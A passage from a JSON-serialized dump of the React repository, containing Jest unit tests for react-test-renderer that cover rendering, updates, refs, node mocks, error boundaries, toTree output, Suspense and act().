ReactTestRenderer.create(<Component />);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {className: 'purple'},\n      children: [{type: 'moo', props: {}, children: null}],\n    });\n  });\n\n  it('renders some basics with an update', async () => {\n    let renders = 0;\n\n    class Component extends React.Component {\n      state = {x: 3};\n\n      render() {\n        renders++;\n        return (\n          <div className=\"purple\">\n            {this.state.x}\n            <Child />\n            <Null />\n          </div>\n        );\n      }\n\n      componentDidMount() {\n        this.setState({x: 7});\n      }\n    }\n\n    const Child = () => {\n      renders++;\n      return <moo />;\n    };\n\n    const Null = () => {\n      renders++;\n      return null;\n    };\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Component />);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {className: 'purple'},\n      children: ['7', {type: 'moo', props: {}, children: null}],\n    });\n    expect(renders).toBe(6);\n  });\n\n  it('exposes the instance', async () => {\n    class Mouse extends React.Component {\n      constructor() {\n        super();\n        this.state = {mouse: 'mouse'};\n      }\n      handleMoose() {\n        this.setState({mouse: 'moose'});\n      }\n      render() {\n        return <div>{this.state.mouse}</div>;\n      }\n    }\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Mouse />);\n    });\n\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: ['mouse'],\n    });\n\n    const mouse = renderer.getInstance();\n    await act(() => {\n      mouse.handleMoose();\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      children: ['moose'],\n      props: {},\n    });\n  });\n\n  it('updates types', async () => {\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<div>mouse</div>);\n    });\n\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: ['mouse'],\n    });\n    await act(() => {\n      renderer.update(<span>mice</span>);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'span',\n      props: {},\n      children: ['mice'],\n    });\n  });\n\n  it('updates children', async () => {\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <div>\n          <span key=\"a\">A</span>\n          <span key=\"b\">B</span>\n          <span key=\"c\">C</span>\n        </div>,\n      );\n    });\n\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: [\n        {type: 'span', props: {}, children: ['A']},\n        {type: 'span', props: {}, children: ['B']},\n        {type: 'span', props: {}, children: ['C']},\n      ],\n    });\n\n    await act(() => {\n      renderer.update(\n        <div>\n          <span key=\"d\">D</span>\n          <span key=\"c\">C</span>\n          <span key=\"b\">B</span>\n        </div>,\n      );\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: [\n        {type: 'span', props: {}, children: ['D']},\n        {type: 'span', props: {}, children: ['C']},\n        {type: 'span', props: {}, children: ['B']},\n      ],\n    });\n  });\n\n  it('does the full lifecycle', async () => {\n    const log = [];\n    class Log extends React.Component {\n      render() {\n        log.push('render ' + this.props.name);\n        return <div />;\n      }\n      componentDidMount() {\n        log.push('mount ' + this.props.name);\n      }\n      componentWillUnmount() {\n        log.push('unmount ' + this.props.name);\n      }\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Log key=\"foo\" name=\"Foo\" />);\n    });\n    await act(() => {\n      renderer.update(<Log key=\"bar\" name=\"Bar\" />);\n    });\n    await act(() => {\n      renderer.unmount();\n    });\n\n    expect(log).toEqual([\n      'render Foo',\n      'mount Foo',\n      'render Bar',\n      'unmount Foo',\n      'mount Bar',\n      'unmount Bar',\n    ]);\n  });\n\n  it('gives a ref to native components', async () => {\n    const log = [];\n    await act(() => {\n      ReactTestRenderer.create(<div ref={r => log.push(r)} />);\n    });\n    expect(log).toEqual([null]);\n  });\n\n  it('allows an optional createNodeMock function', async () => {\n    const mockDivInstance = {appendChild: () => {}};\n    const mockInputInstance = {focus: () => {}};\n    const mockListItemInstance = {click: () => {}};\n    const mockAnchorInstance = {hover: () => {}};\n    const log = [];\n    class Foo extends React.Component {\n      barRef = React.createRef();\n      componentDidMount() {\n        log.push(this.barRef.current);\n      }\n      render() {\n        return <a ref={this.barRef}>Hello, world</a>;\n      }\n    }\n    function createNodeMock(element) {\n      switch (element.type) {\n        case 'div':\n          return mockDivInstance;\n        case 'input':\n          return mockInputInstance;\n        case 'li':\n          return mockListItemInstance;\n        case 'a':\n          return mockAnchorInstance;\n        default:\n          return {};\n      }\n    }\n    await act(() => {\n      ReactTestRenderer.create(<div ref={r => log.push(r)} />, {\n        createNodeMock,\n      });\n    });\n    await act(() => {\n      ReactTestRenderer.create(<input ref={r => log.push(r)} />, {\n        createNodeMock,\n      });\n    });\n    await act(() => {\n      ReactTestRenderer.create(\n        <div>\n          <span>\n            <ul>\n              <li ref={r => log.push(r)} />\n            </ul>\n            <ul>\n              <li ref={r => log.push(r)} />\n              <li ref={r => log.push(r)} />\n            </ul>\n          </span>\n        </div>,\n        {createNodeMock, foobar: true},\n      );\n    });\n    await act(() => {\n      ReactTestRenderer.create(<Foo />, {createNodeMock});\n    });\n    await act(() => {\n      ReactTestRenderer.create(<div ref={r => log.push(r)} />);\n    });\n    await act(() => {\n      ReactTestRenderer.create(<div ref={r => log.push(r)} />, {});\n    });\n    expect(log).toEqual([\n      mockDivInstance,\n      mockInputInstance,\n      mockListItemInstance,\n      mockListItemInstance,\n      mockListItemInstance,\n      mockAnchorInstance,\n      null,\n      null,\n    ]);\n  });\n\n  it('supports unmounting when using refs', () => {\n    class Foo extends React.Component {\n      render() {\n        return <div ref={React.createRef()} />;\n      }\n    }\n    const inst = ReactTestRenderer.create(<Foo />, {\n      createNodeMock: () => 'foo',\n    });\n    expect(() => inst.unmount()).not.toThrow();\n  });\n\n  it('supports unmounting inner instances', async () => {\n    let count = 0;\n    class Foo extends React.Component {\n      componentWillUnmount() {\n        count++;\n      }\n      render() {\n        return <div />;\n      }\n    }\n    let inst;\n    await act(() => {\n      inst = ReactTestRenderer.create(\n        <div>\n          <Foo />\n        </div>,\n        {\n          createNodeMock: () => 'foo',\n        },\n      );\n    });\n    await act(() => {\n      inst.unmount();\n    });\n    expect(count).toEqual(1);\n  });\n\n  it('supports updates when using refs', async () => {\n    const log = [];\n    const createNodeMock = element => {\n      log.push(element.type);\n      return element.type;\n    };\n    class Foo extends React.Component {\n      render() {\n        return this.props.useDiv ? (\n          <div ref={React.createRef()} />\n        ) : (\n          <span ref={React.createRef()} />\n        );\n      }\n    }\n    let inst;\n    await act(() => {\n      inst = ReactTestRenderer.create(<Foo useDiv={true} />, {\n        createNodeMock,\n      });\n    });\n    await act(() => {\n      inst.update(<Foo useDiv={false} />);\n    });\n    expect(log).toEqual(['div', 'span']);\n  });\n\n  it('supports error boundaries', async () => {\n    const log = [];\n    class Angry extends React.Component {\n      render() {\n        log.push('Angry render');\n        throw new Error('Please, do not render me.');\n      }\n\n      componentDidMount() {\n        log.push('Angry componentDidMount');\n      }\n      componentWillUnmount() {\n        log.push('Angry componentWillUnmount');\n      }\n    }\n\n    class Boundary extends React.Component {\n      constructor(props) {\n        super(props);\n        this.state = {error: false};\n      }\n      render() {\n        log.push('Boundary render');\n        if (!this.state.error) {\n          return (\n            <div>\n              <button onClick={this.onClick}>ClickMe</button>\n              <Angry />\n            </div>\n          );\n        } else {\n          return <div>Happy Birthday!</div>;\n        }\n      }\n      componentDidMount() {\n        log.push('Boundary componentDidMount');\n      }\n      componentWillUnmount() {\n        log.push('Boundary componentWillUnmount');\n      }\n      onClick() {\n        /* do nothing */\n      }\n      componentDidCatch() {\n        log.push('Boundary componentDidCatch');\n        this.setState({error: true});\n      }\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Boundary />, {\n        unstable_isConcurrent: true,\n      });\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      props: {},\n      children: ['Happy Birthday!'],\n    });\n    expect(log).toEqual([\n      'Boundary render',\n      'Angry render',\n      'Boundary render',\n      'Angry render',\n      'Boundary componentDidMount',\n      'Boundary componentDidCatch',\n      'Boundary render',\n    ]);\n  });\n\n  it('can update text nodes', async () => {\n    class Component extends React.Component {\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Component>Hi</Component>);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      children: ['Hi'],\n      props: {},\n    });\n    await act(() => {\n      renderer.update(<Component>{['Hi', 'Bye']}</Component>);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      children: ['Hi', 'Bye'],\n      props: {},\n    });\n    await act(() => {\n      renderer.update(<Component>Bye</Component>);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      children: ['Bye'],\n      props: {},\n    });\n    await act(() => {\n      renderer.update(<Component>{42}</Component>);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      children: ['42'],\n      props: {},\n    });\n    await act(() => {\n      renderer.update(\n        <Component>\n          <div />\n        </Component>,\n      );\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      children: [\n        {\n          type: 'div',\n          children: null,\n          props: {},\n        },\n      ],\n      props: {},\n    });\n  });\n\n  it('toTree() renders simple components returning host components', async () => {\n    const Qoo = () => <span className=\"Qoo\">Hello World!</span>;\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Qoo />);\n    });\n    const tree = renderer.toTree();\n\n    cleanNodeOrArray(tree);\n\n    expect(prettyFormat(tree)).toEqual(\n      prettyFormat({\n        nodeType: 'component',\n        type: Qoo,\n        props: {},\n        instance: null,\n        rendered: {\n          nodeType: 'host',\n          type: 'span',\n          props: {className: 'Qoo'},\n          instance: null,\n          rendered: ['Hello World!'],\n        },\n      }),\n    );\n  });\n\n  it('toTree() handles nested Fragments', async () => {\n    const Foo = () => (\n      <>\n        <>foo</>\n      </>\n    );\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />);\n    });\n    const tree = renderer.toTree();\n\n    cleanNodeOrArray(tree);\n\n    expect(prettyFormat(tree)).toEqual(\n      prettyFormat({\n        nodeType: 'component',\n        type: Foo,\n        instance: null,\n        props: {},\n        rendered: 'foo',\n      }),\n    );\n  });\n\n  it('toTree() handles null rendering components', async () => {\n    class Foo extends React.Component {\n      render() {\n        return null;\n      }\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Foo />);\n    });\n    const tree = renderer.toTree();\n\n    expect(tree.instance).toBeInstanceOf(Foo);\n\n    cleanNodeOrArray(tree);\n\n    expect(tree).toEqual({\n      type: Foo,\n      nodeType: 'component',\n      props: {},\n      instance: null,\n      rendered: null,\n    });\n  });\n\n  it('toTree() handles simple components that return arrays', async () => {\n    const Foo = ({children}) => children;\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <Foo>\n          <div>One</div>\n          <div>Two</div>\n        </Foo>,\n      );\n    });\n\n    const tree = renderer.toTree();\n\n    cleanNodeOrArray(tree);\n\n    expect(prettyFormat(tree)).toEqual(\n      prettyFormat({\n        type: Foo,\n        nodeType: 'component',\n        props: {},\n        instance: null,\n        rendered: [\n          {\n            instance: null,\n            nodeType: 'host',\n            props: {},\n            rendered: ['One'],\n            type: 'div',\n          },\n          {\n            instance: null,\n            nodeType: 'host',\n            props: {},\n            rendered: ['Two'],\n            type: 'div',\n          },\n        ],\n      }),\n    );\n  });\n\n  it('toTree() handles complicated tree of arrays', async () => {\n    class Foo extends React.Component {\n      render() {\n        return this.props.children;\n      }\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <div>\n          <Foo>\n            <div>One</div>\n            <div>Two</div>\n            <Foo>\n              <div>Three</div>\n            </Foo>\n          </Foo>\n          <div>Four</div>\n        </div>,\n      );\n    });\n\n    const tree = renderer.toTree();\n\n    cleanNodeOrArray(tree);\n\n    expect(prettyFormat(tree)).toEqual(\n      prettyFormat({\n        type: 'div',\n        instance: null,\n        nodeType: 'host',\n        props: {},\n        rendered: [\n          {\n            type: Foo,\n            nodeType: 'component',\n            props: {},\n            instance: null,\n            rendered: [\n              {\n                type: 'div',\n                nodeType: 'host',\n                props: {},\n                instance: null,\n                rendered: ['One'],\n              },\n              {\n                type: 'div',\n                nodeType: 'host',\n                props: {},\n                instance: null,\n                rendered: ['Two'],\n              },\n              {\n                type: Foo,\n                nodeType: 'component',\n                props: {},\n                instance: null,\n                rendered: {\n                  type: 'div',\n                  nodeType: 'host',\n                  props: {},\n                  instance: null,\n                  rendered: ['Three'],\n                },\n              },\n            ],\n          },\n          {\n            type: 'div',\n            nodeType: 'host',\n            props: {},\n            instance: null,\n            rendered: ['Four'],\n          },\n        ],\n      }),\n    );\n  });\n\n  it('toTree() handles complicated tree of fragments', async () => {\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <>\n          <>\n            <div>One</div>\n            <div>Two</div>\n            <>\n              <div>Three</div>\n            </>\n          </>\n          <div>Four</div>\n        </>,\n      );\n    });\n\n    const tree = renderer.toTree();\n\n    cleanNodeOrArray(tree);\n\n    expect(prettyFormat(tree)).toEqual(\n      prettyFormat([\n        {\n          type: 'div',\n          nodeType: 'host',\n          props: {},\n          instance: null,\n          rendered: ['One'],\n        },\n        {\n          type: 'div',\n          nodeType: 'host',\n          props: {},\n          instance: null,\n          rendered: ['Two'],\n        },\n        {\n          type: 'div',\n          nodeType: 'host',\n          props: {},\n          instance: null,\n          rendered: ['Three'],\n        },\n        {\n          type: 'div',\n          nodeType: 'host',\n          props: {},\n          instance: null,\n          rendered: ['Four'],\n        },\n      ]),\n    );\n  });\n\n  it('root instance and createNodeMock ref return the same value', async () => {\n    const createNodeMock = ref => ({node: ref});\n    let refInst = null;\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(\n        <div ref={ref => (refInst = ref)} />,\n        {createNodeMock},\n      );\n    });\n\n    const root = renderer.getInstance();\n    expect(root).toEqual(refInst);\n  });\n\n  it('toTree() renders complicated trees of composites and hosts', async () => {\n    // SFC returning host. no children props.\n    const Qoo = () => <span className=\"Qoo\">Hello World!</span>;\n\n    // SFC returning host. passes through children.\n    const Foo = ({className, children}) => (\n      <div className={'Foo ' + className}>\n        <span className=\"Foo2\">Literal</span>\n        {children}\n      </div>\n    );\n\n    // class composite returning composite. passes through children.\n    class Bar extends React.Component {\n      render() {\n        const {special, children} = this.props;\n        return <Foo className={special ? 'special' : 'normal'}>{children}</Foo>;\n      }\n    }\n\n    // class composite return composite. no children props.\n    class Bam extends React.Component {\n      render() {\n        return (\n          <Bar special={true}>\n            <Qoo />\n          </Bar>\n        );\n      }\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<Bam />);\n    });\n\n    const tree = renderer.toTree();\n\n    // we test for the presence of instances before nulling them out\n    expect(tree.instance).toBeInstanceOf(Bam);\n    expect(tree.rendered.instance).toBeInstanceOf(Bar);\n\n    cleanNodeOrArray(tree);\n\n    expect(prettyFormat(tree)).toEqual(\n      prettyFormat({\n        type: Bam,\n        nodeType: 'component',\n        props: {},\n        instance: null,\n        rendered: {\n          type: Bar,\n          nodeType: 'component',\n          props: {special: true},\n          instance: null,\n          rendered: {\n            type: Foo,\n            nodeType: 'component',\n            props: {className: 'special'},\n            instance: null,\n            rendered: {\n              type: 'div',\n              nodeType: 'host',\n              props: {className: 'Foo special'},\n              instance: null,\n              rendered: [\n                {\n                  type: 'span',\n                  nodeType: 'host',\n                  props: {className: 'Foo2'},\n                  instance: null,\n                  rendered: ['Literal'],\n                },\n                {\n                  type: Qoo,\n                  nodeType: 'component',\n                  props: {},\n                  instance: null,\n                  rendered: {\n                    type: 'span',\n                    nodeType: 'host',\n                    props: {className: 'Qoo'},\n                    instance: null,\n                    rendered: ['Hello World!'],\n                  },\n                },\n              ],\n            },\n          },\n        },\n      }),\n    );\n  });\n\n  it('can update text nodes when rendered as root', async () => {\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(['Hello', 'world']);\n    });\n    expect(renderer.toJSON()).toEqual(['Hello', 'world']);\n    await act(() => {\n      renderer.update(42);\n    });\n    expect(renderer.toJSON()).toEqual('42');\n    await act(() => {\n      renderer.update([42, 'world']);\n    });\n    expect(renderer.toJSON()).toEqual(['42', 'world']);\n  });\n\n  it('can render and update root fragments', async () => {\n    const Component = props => props.children;\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create([\n        <Component key=\"a\">Hi</Component>,\n        <Component key=\"b\">Bye</Component>,\n      ]);\n    });\n\n    expect(renderer.toJSON()).toEqual(['Hi', 'Bye']);\n    await act(() => {\n      renderer.update(<div />);\n    });\n    expect(renderer.toJSON()).toEqual({\n      type: 'div',\n      children: null,\n      props: {},\n    });\n    await act(() => {\n      renderer.update([<div key=\"a\">goodbye</div>, 'world']);\n    });\n    expect(renderer.toJSON()).toEqual([\n      {\n        type: 'div',\n        children: ['goodbye'],\n        props: {},\n      },\n      'world',\n    ]);\n  });\n\n  it('supports context providers and consumers', async () => {\n    const {Consumer, Provider} = React.createContext('a');\n\n    function Child(props) {\n      return props.value;\n    }\n\n    function App() {\n      return (\n        <Provider value=\"b\">\n          <Consumer>{value => <Child value={value} />}</Consumer>\n        </Provider>\n      );\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<App />);\n    });\n    const child = renderer.root.findByType(Child);\n    expect(child.children).toEqual(['b']);\n    expect(prettyFormat(renderer.toTree())).toEqual(\n      prettyFormat({\n        instance: null,\n        nodeType: 'component',\n        props: {},\n        rendered: {\n          instance: null,\n          nodeType: 'component',\n          props: {\n            value: 'b',\n          },\n          rendered: 'b',\n          type: Child,\n        },\n        type: App,\n      }),\n    );\n  });\n\n  it('supports modes', async () => {\n    function Child(props) {\n      return props.value;\n    }\n\n    function App(props) {\n      return (\n        <React.StrictMode>\n          <Child value={props.value} />\n        </React.StrictMode>\n      );\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<App value=\"a\" />);\n    });\n    const child = renderer.root.findByType(Child);\n    expect(child.children).toEqual(['a']);\n    expect(prettyFormat(renderer.toTree())).toEqual(\n      prettyFormat({\n        instance: null,\n        nodeType: 'component',\n        props: {\n          value: 'a',\n        },\n        rendered: {\n          instance: null,\n          nodeType: 'component',\n          props: {\n            value: 'a',\n          },\n          rendered: 'a',\n          type: Child,\n        },\n        type: App,\n      }),\n    );\n  });\n\n  it('supports forwardRef', async () => {\n    const InnerRefed = React.forwardRef((props, ref) => (\n      <div>\n        <span ref={ref} />\n      </div>\n    ));\n\n    let refFn;\n\n    class App extends React.Component {\n      render() {\n        refFn = inst => {\n          this.ref = inst;\n        };\n        return <InnerRefed ref={refFn} />;\n      }\n    }\n\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<App />);\n    });\n    const tree = renderer.toTree();\n    cleanNodeOrArray(tree);\n\n    expect(prettyFormat(tree)).toEqual(\n      prettyFormat({\n        instance: null,\n        nodeType: 'component',\n        props: {},\n        rendered: {\n          instance: null,\n          nodeType: 'host',\n          props: {},\n          rendered: [\n            {\n              instance: null,\n              nodeType: 'host',\n              props: {\n                ref: refFn,\n              },\n              rendered: [],\n              type: 'span',\n            },\n          ],\n          type: 'div',\n        },\n        type: App,\n      }),\n    );\n  });\n\n  it('can concurrently render context with a \"primary\" renderer', async () => {\n    const Context = React.createContext(null);\n    const Indirection = React.Fragment;\n    const App = () => (\n      <Context.Provider value={null}>\n        <Indirection>\n          <Context.Consumer>{() => null}</Context.Consumer>\n        </Indirection>\n      </Context.Provider>\n    );\n    ReactNoop.render(<App />);\n    await waitForAll([]);\n    await act(() => {\n      ReactTestRenderer.create(<App />);\n    });\n  });\n\n  it('calling findByType() with an invalid component will fall back to \"Unknown\" for component name', async () => {\n    const App = () => null;\n    let renderer;\n    await act(() => {\n      renderer = ReactTestRenderer.create(<App />);\n    });\n    const NonComponent = {};\n\n    expect(() => {\n      renderer.root.findByType(NonComponent);\n    }).toThrowError(`No instances found with node type: \"Unknown\"`);\n  });\n});\n"
  },
  {
    "path": "packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet ReactDOM;\nlet React;\nlet ReactCache;\nlet ReactTestRenderer;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactTestRenderer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    ReactDOM = require('react-dom');\n\n    // Isolate test renderer.\n    jest.resetModules();\n    React = require('react');\n    ReactCache = require('react-cache');\n    ReactTestRenderer = require('react-test-renderer');\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  it('should warn if used to render a ReactDOM portal', async () => {\n    const container = document.createElement('div');\n    let error;\n\n    await act(() => {\n      ReactTestRenderer.create(ReactDOM.createPortal('foo', container));\n    }).catch(e => (error = e));\n    assertConsoleErrorDev([\n      'An invalid container has been provided. ' +\n        'This may indicate that another renderer is being used in addition to the test renderer. ' +\n        '(For example, ReactDOM.createPortal inside of a ReactTestRenderer tree.) ' +\n        'This is not supported.',\n    ]);\n\n    // After the update throws, a subsequent render is scheduled to\n    // unmount the whole tree. This update also causes an error, so React\n    // throws an AggregateError.\n    const errors = error.errors;\n    expect(errors.length).toBe(2);\n    expect(errors[0].message.includes('indexOf is not a function')).toBe(true);\n    expect(errors[1].message.includes('indexOf is not a function')).toBe(true);\n  });\n\n  it('find element by prop with suspended content', async () => {\n    const neverResolve = new Promise(() => {});\n\n    function TestComp({foo}) {\n      if (foo === 'one') {\n        throw neverResolve;\n      } else {\n        return null;\n      }\n    }\n\n    const tree = await act(() =>\n      ReactTestRenderer.create(\n        <div>\n          <React.Suspense fallback={null}>\n            <TestComp foo=\"one\" />\n          </React.Suspense>\n          <TestComp foo=\"two\" />\n        </div>,\n      ),\n    );\n\n    expect(\n      tree.root.find(item => {\n        return item.props.foo === 'two';\n      }),\n    ).toBeDefined();\n  });\n\n  describe('timed out Suspense hidden subtrees should not be observable via toJSON', () => {\n    let AsyncText;\n    let PendingResources;\n    let TextResource;\n\n    beforeEach(() => {\n      PendingResources = {};\n      TextResource = ReactCache.unstable_createResource(\n        text =>\n          new Promise(resolve => {\n            PendingResources[text] = resolve;\n          }),\n        text => text,\n      );\n\n      AsyncText = ({text}) => {\n        const value = TextResource.read(text);\n        return value;\n      };\n    });\n\n    it('for root Suspense components', async () => {\n      const App = ({text}) => {\n        return (\n          <React.Suspense fallback=\"fallback\">\n            <AsyncText text={text} />\n          </React.Suspense>\n        );\n      };\n\n      let root;\n      await act(() => {\n        root = ReactTestRenderer.create(<App text=\"initial\" />);\n      });\n      await act(() => {\n        PendingResources.initial('initial');\n      });\n      expect(root.toJSON()).toEqual('initial');\n\n      await act(() => {\n        root.update(<App text=\"dynamic\" />);\n      });\n      expect(root.toJSON()).toEqual('fallback');\n\n      await act(() => {\n        PendingResources.dynamic('dynamic');\n      });\n      expect(root.toJSON()).toEqual('dynamic');\n    });\n\n    it('for nested Suspense components', async () => {\n      const App = ({text}) => {\n        return (\n          <div>\n            <React.Suspense fallback=\"fallback\">\n              <AsyncText text={text} />\n            </React.Suspense>\n          </div>\n        );\n      };\n\n      let root;\n      await act(() => {\n        root = ReactTestRenderer.create(<App text=\"initial\" />);\n      });\n      await act(() => {\n        PendingResources.initial('initial');\n      });\n      expect(root.toJSON().children).toEqual(['initial']);\n\n      await act(() => {\n        root.update(<App text=\"dynamic\" />);\n      });\n      expect(root.toJSON().children).toEqual(['fallback']);\n\n      await act(() => {\n        PendingResources.dynamic('dynamic');\n      });\n      expect(root.toJSON().children).toEqual(['dynamic']);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-test-renderer/src/__tests__/ReactTestRendererAct-test.js",
    "content": "jest.useRealTimers();\n\nlet React;\nlet ReactTestRenderer;\nlet Scheduler;\nlet act;\nlet assertLog;\n\ndescribe('ReactTestRenderer.act()', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactTestRenderer = require('react-test-renderer');\n    Scheduler = require('scheduler');\n    act = ReactTestRenderer.act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n  });\n\n  // @gate __DEV__\n  it('can use .act() to flush effects', () => {\n    function App(props) {\n      const [ctr, setCtr] = React.useState(0);\n      React.useEffect(() => {\n        props.callback();\n        setCtr(1);\n      }, []);\n      return ctr;\n    }\n    const calledLog = [];\n    let root;\n    act(() => {\n      root = ReactTestRenderer.create(\n        <App\n          callback={() => {\n            calledLog.push(calledLog.length);\n          }}\n        />,\n      );\n    });\n\n    expect(calledLog).toEqual([0]);\n    expect(root.toJSON()).toEqual('1');\n  });\n\n  describe('async', () => {\n    // @gate __DEV__\n    it('should work with async/await', async () => {\n      function fetch(url) {\n        return Promise.resolve({\n          details: [1, 2, 3],\n        });\n      }\n      function App() {\n        const [details, setDetails] = React.useState(0);\n\n        React.useEffect(() => {\n          async function fetchDetails() {\n            const response = await fetch();\n            setDetails(response.details);\n          }\n          fetchDetails();\n        }, []);\n        return details;\n      }\n      let root;\n\n      await ReactTestRenderer.act(async () => {\n        root = ReactTestRenderer.create(<App />);\n      });\n\n      expect(root.toJSON()).toEqual(['1', '2', '3']);\n    });\n\n    // @gate __DEV__\n    it('should not flush effects without also flushing microtasks', async () => {\n      const {useEffect, useReducer} = React;\n\n      const alreadyResolvedPromise = Promise.resolve();\n\n      function App() {\n        // This component will keep updating itself until step === 3\n        const [step, proceed] = useReducer(s => (s === 3 ? 3 : s + 1), 1);\n        useEffect(() => {\n          Scheduler.log('Effect');\n          alreadyResolvedPromise.then(() => {\n            Scheduler.log('Microtask');\n            proceed();\n          });\n        });\n        return step;\n      }\n      let root;\n      await act(() => {\n        root = ReactTestRenderer.create(null);\n      });\n      await act(async () => {\n        root.update(<App />);\n      });\n      assertLog([\n        // Should not flush effects without also flushing microtasks\n        // First render:\n        'Effect',\n        'Microtask',\n        // Second render:\n        'Effect',\n        'Microtask',\n        // Final render:\n        'Effect',\n        'Microtask',\n      ]);\n      expect(root).toMatchRenderedOutput('3');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-test-renderer/src/__tests__/ReactTestRendererAsync-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactTestRenderer;\nlet Scheduler;\nlet waitForAll;\nlet waitFor;\n\ndescribe('ReactTestRendererAsync', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactTestRenderer = require('react-test-renderer');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n  });\n\n  it('flushAll flushes all work', async () => {\n    function Foo(props) {\n      return props.children;\n    }\n    const renderer = ReactTestRenderer.create(<Foo>Hi</Foo>, {\n      unstable_isConcurrent: true,\n    });\n\n    // Before flushing, nothing has mounted.\n    expect(renderer.toJSON()).toEqual(null);\n\n    // Flush initial mount.\n    await waitForAll([]);\n    expect(renderer.toJSON()).toEqual('Hi');\n\n    // Update\n    renderer.update(<Foo>Bye</Foo>);\n    // Not yet updated.\n    expect(renderer.toJSON()).toEqual('Hi');\n    // Flush update.\n    await waitForAll([]);\n    expect(renderer.toJSON()).toEqual('Bye');\n  });\n\n  it('flushAll returns array of yielded values', async () => {\n    function Child(props) {\n      Scheduler.log(props.children);\n      return props.children;\n    }\n    function Parent(props) {\n      return (\n        <>\n          <Child>{'A:' + props.step}</Child>\n          <Child>{'B:' + props.step}</Child>\n          <Child>{'C:' + props.step}</Child>\n        </>\n      );\n    }\n    const renderer = ReactTestRenderer.create(<Parent step={1} />, {\n      unstable_isConcurrent: true,\n    });\n\n    await waitForAll(['A:1', 'B:1', 'C:1']);\n    expect(renderer.toJSON()).toEqual(['A:1', 'B:1', 'C:1']);\n\n    renderer.update(<Parent step={2} />);\n    await waitForAll(['A:2', 'B:2', 'C:2']);\n    expect(renderer.toJSON()).toEqual(['A:2', 'B:2', 'C:2']);\n  });\n\n  it('flushThrough flushes until the expected values is yielded', async () => {\n    function Child(props) {\n      Scheduler.log(props.children);\n      return props.children;\n    }\n    function Parent(props) {\n      return (\n        <>\n          <Child>{'A:' + props.step}</Child>\n          <Child>{'B:' + props.step}</Child>\n          <Child>{'C:' + props.step}</Child>\n        </>\n      );\n    }\n\n    let renderer;\n    React.startTransition(() => {\n      renderer = ReactTestRenderer.create(<Parent step={1} />, {\n        unstable_isConcurrent: true,\n      });\n    });\n\n    // Flush the first two siblings\n    await waitFor(['A:1', 'B:1']);\n    // Did not commit yet.\n    expect(renderer.toJSON()).toEqual(null);\n\n    // Flush the remaining work\n    await waitForAll(['C:1']);\n    expect(renderer.toJSON()).toEqual(['A:1', 'B:1', 'C:1']);\n  });\n\n  it('supports high priority interruptions', async () => {\n    function Child(props) {\n      Scheduler.log(props.children);\n      return props.children;\n    }\n\n    class Example extends React.Component {\n      componentDidMount() {\n        expect(this.props.step).toEqual(2);\n      }\n      componentDidUpdate() {\n        throw 